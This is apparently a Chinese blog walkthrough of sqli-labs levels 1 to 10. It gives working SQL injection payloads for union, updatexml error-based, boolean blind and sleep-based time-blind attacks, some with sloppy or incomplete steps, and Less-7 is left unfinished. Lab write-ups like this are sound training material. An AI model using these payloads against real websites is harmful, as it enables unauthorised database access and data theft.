sqli --【1--10】

Less-1(联合查询)

1.查看是否有回显

2.查看是否有报错

3.使用联合查询(字符注入)

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-2(联合查询)

1.查看是否有回显

2.查看是否有报错

3.使用联合查询(数字型注入)

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-3(联合查询)

1.查看是否有回显

2.查看是否有报错

3.使用联合查询(数字型注入)

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-4(联合查询)

1.查看是否有回显

2.查看是否有报错

3.使用联合查询(数字型注入)

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-5(错误注入)

1.无显示

2.有错误

3.使用错误注入

Less-6(错误注入)

1.无显示

2.有错误

3.使用错误注入

Less-7(读写文件)

1.查看是否有回显

Less-8(布尔盲注)

1.没有回显

2.没有报错

3.布尔盲注获取数据库名

4.计算数据库名字的位数

5.猜测每一位

Less-9(延时注入--1‘)

1.没有回显

2.没有报错

3.使用延时注入

4.分别查看每一位

Less-10(延时注入--1“)

1.没有回显

2.没有报错

3.使用延时注入

4.分别查看每一位


Less-1(联合查询)

1.查看是否有回显

?id=1

sqli --【1--10】_第1张图片

2.查看是否有报错

?id=2'

sqli --【1--10】_第2张图片

3.使用联合查询(字符注入)

3.1判断其列数

?2' order by 4 --+
判断有3列

sqli --【1--10】_第3张图片

3.2 判断显示位置

?id=2' and 1=2 union select 1,2,3 --+
此处为字符型注入,要确定前一段为假

sqli --【1--10】_第4张图片

3.3敏感信息查询

?id=2' and 1=2 union select 1,version(),database() --+
​
version() --版本号  :5.7.26
database()--数据库名称 : security

sqli --【1--10】_第5张图片

Less-2(联合查询)

1.查看是否有回显

?id=1

sqli --【1--10】_第6张图片

2.查看是否有报错

?id=2'

sqli --【1--10】_第7张图片

3.使用联合查询(数字型注入)

3.1判断其列数

?2' order by 4 --+
判断有3列

sqli --【1--10】_第8张图片

3.2 判断显示位置

?id=2' and 1=2 union select 1,2,3 --+
此处为字符型注入,要确定前一段为假

sqli --【1--10】_第9张图片

3.3敏感信息查询

?id=2' and 1=2 union select 1,version(),database() --+
​
version() --版本号  :5.7.26
database()--数据库名称 : security

sqli --【1--10】_第10张图片

Less-3(联合查询)

1.查看是否有回显

?id=1

sqli --【1--10】_第11张图片

2.查看是否有报错

?id=2'

sqli --【1--10】_第12张图片

3.使用联合查询(数字型注入)

3.1判断其列数

?2') order by 4 --+
判断有3列

sqli --【1--10】_第13张图片

3.2 判断显示位置

?id=2') and 1=2 union select 1,2,3 --+
此处为字符型注入,要确定前一段为假

sqli --【1--10】_第14张图片

3.3敏感信息查询

?id=2') and 1=2 union select 1,version(),database() --+
​
version() --版本号  :5.7.26
database()--数据库名称 : security

sqli --【1--10】_第15张图片

Less-4(联合查询)

1.查看是否有回显

?id=1

sqli --【1--10】_第16张图片

2.查看是否有报错

?id=2"

sqli --【1--10】_第17张图片

3.使用联合查询(数字型注入)

3.1判断其列数

?2") order by 4 --+
判断有3列

sqli --【1--10】_第18张图片

3.2 判断显示位置

?id=2") and 1=2 union select 1,2,3 --+
此处为字符型注入,要确定前一段为假

sqli --【1--10】_第19张图片

3.3敏感信息查询

?id=2") and 1=2 union select 1,version(),database() --+
​
version() --版本号  :5.7.26
database()--数据库名称 : security

sqli --【1--10】_第20张图片

Less-5(错误注入)

1.无显示

sqli --【1--10】_第21张图片

2.有错误

sqli --【1--10】_第22张图片

3.使用错误注入

?id=2 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

sqli --【1--10】_第23张图片

Less-6(错误注入)

1.无显示

sqli --【1--10】_第24张图片

2.有错误

sqli --【1--10】_第25张图片

3.使用错误注入

?id=2 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

sqli --【1--10】_第26张图片

Less-7(读写文件)

1.查看是否有回显

根据 Use outfile判断,此处使用写入文件的方式

sqli --【1--10】_第27张图片

2.

Less-8(布尔盲注)

1.没有回显

sqli --【1--10】_第28张图片

2.没有报错

sqli --【1--10】_第29张图片

3.布尔盲注获取数据库名

?id=2' and database()='ajest' --+
没有显示,成本太高

sqli --【1--10】_第30张图片

4.计算数据库名字的位数

?id=2' and length(database())>0 --+
?id=2' and length(database())=8 --+
​
显示八位
​

sqli --【1--10】_第31张图片

sqli --【1--10】_第32张图片

5.猜测每一位

?id=2' and ascii(substr((select database()),1,1))=115 --+

115 s

101 e

99 c

117 u

114 r

105 i

116 t

121 y

数据库:security

sqli --【1--10】_第33张图片

Less-9(延时注入--1‘)

1.没有回显

?id=1

sqli --【1--10】_第34张图片

2.没有报错

?id=1'

sqli --【1--10】_第35张图片

3.使用延时注入

?id=1' and if(length((select version()))=6,sleep(5),1) --+
​
版本号共有6位

sqli --【1--10】_第36张图片

4.分别查看每一位

?id=1' and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+

53 5

46 .

55 7

46 .

50 2

54 6

版本号 :5.7.26

sqli --【1--10】_第37张图片

sqli --【1--10】_第38张图片

sqli --【1--10】_第39张图片

sqli --【1--10】_第40张图片

sqli --【1--10】_第41张图片

sqli --【1--10】_第42张图片

Less-10(延时注入--1“)

1.没有回显

?id=1

sqli --【1--10】_第43张图片

2.没有报错

?id=1"

sqli --【1--10】_第44张图片

3.使用延时注入

?id=1" and if(length((select version()))=6,sleep(5),1) --+
​
版本号共有6位

sqli --【1--10】_第45张图片

4.分别查看每一位

?id=1" and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+

53 5

46 .

55 7

46 .

50 2

54 6

版本号 :5.7.26

sqli --【1--10】_第46张图片

你可能感兴趣的:(靶场,sql,安全)